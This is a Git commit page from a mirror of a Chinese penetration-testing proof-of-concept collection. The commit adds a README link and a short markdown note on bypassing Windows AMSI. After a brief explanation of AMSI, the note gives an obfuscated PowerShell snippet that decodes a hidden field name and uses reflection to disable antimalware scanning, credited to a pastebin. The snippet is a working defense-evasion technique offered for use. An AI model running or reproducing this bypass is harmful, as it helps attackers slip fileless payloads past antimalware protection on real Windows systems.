mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2025-08-13 11:28:28 +00:00
add 绕过ASM执行powershell脚本
This commit is contained in:
parent
300b46d8cd
commit
137843d207
@ -486,6 +486,7 @@
|
|||||||
- [Pentest_Note-渗透Tips,总结了渗透测试常用的工具方法](https://github.com/xiaoy-sec/Pentest_Note)
|
- [Pentest_Note-渗透Tips,总结了渗透测试常用的工具方法](https://github.com/xiaoy-sec/Pentest_Note)
|
||||||
- [红蓝对抗之Windows内网渗透-腾讯SRC出品](./books/红蓝对抗之Windows内网渗透-腾讯SRC出品.pdf)
|
- [红蓝对抗之Windows内网渗透-腾讯SRC出品](./books/红蓝对抗之Windows内网渗透-腾讯SRC出品.pdf)
|
||||||
- [远程提取Windows中的系统凭证](./books/远程提取Windows中的系统凭证.pdf)
|
- [远程提取Windows中的系统凭证](./books/远程提取Windows中的系统凭证.pdf)
|
||||||
|
- [绕过ASM执行powershell脚本](./books/绕过ASM执行powershell脚本.md)
|
||||||
|
|
||||||
## <span id="head9"> 说明</span>
|
## <span id="head9"> 说明</span>
|
||||||
|
|
||||||
|
21
books/绕过ASM执行powershell脚本.md
Normal file
21
books/绕过ASM执行powershell脚本.md
Normal file
@ -0,0 +1,21 @@
|
|||||||
|
## 绕过ASM执行powershell脚本
|
||||||
|
|
||||||
|
> AMSI的全称是反恶意软件扫描接口(Anti-Malware Scan Interface),是从Windows 10开始引入的一种机制。AMSI是应用程序和服务能够使用的一种接口,程序和服务可以将“数据”发送到安装在系统上的反恶意软件服务(如Windows Defender)。
|
||||||
|
|
||||||
|
在基于场景的资产评估或者基于数据的红队评估中,许多渗透测试人员都会与AMSI打交道,因此对相关功能也比较了解。AMSI能够提供更强大的保护,可以为反恶意软件产品提供更透彻的可见性,因此能防御攻击过程中常用的一些现代工具、战术以及过程(TTP)。最相关的操作就是PowerShell无文件payload,在实际环境中,攻击者及渗透测试人员都在使用这种技术来完成任务。
|
||||||
|
|
||||||
|
正因为此,AMSI是大家广泛研究的一个主题,能否绕过AMSI已经成为攻击能否成功的决定性因素。在本文中,我们介绍了AMSI的内部工作原理,也介绍了一种新的绕过方法。
|
||||||
|
|
||||||
|
关键powershell代码如下:
|
||||||
|
```powershell
|
||||||
|
$a =[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
|
||||||
|
$h="4456625220575263174452554847"
|
||||||
|
$s =[string](0..13|%{[char][int](53+($h).substring(($_*2),2))})-replace " "
|
||||||
|
$b =$a.GetField($s,'NonPublic,Static')
|
||||||
|
$b.SetValue($null,$true)
|
||||||
|
```
|
||||||
|
|
||||||
|
效果如图:
|
||||||
|

|
||||||
|
|
||||||
|
代码来自:`https://pastebin.com/sQFWANwr`
|
BIN
img/AMSI_TN_bypass.jpg
Normal file
BIN
img/AMSI_TN_bypass.jpg
Normal file
Binary file not shown.
After Width: | Height: | Size: 61 KiB |
Loading…
x
Reference in New Issue
Block a user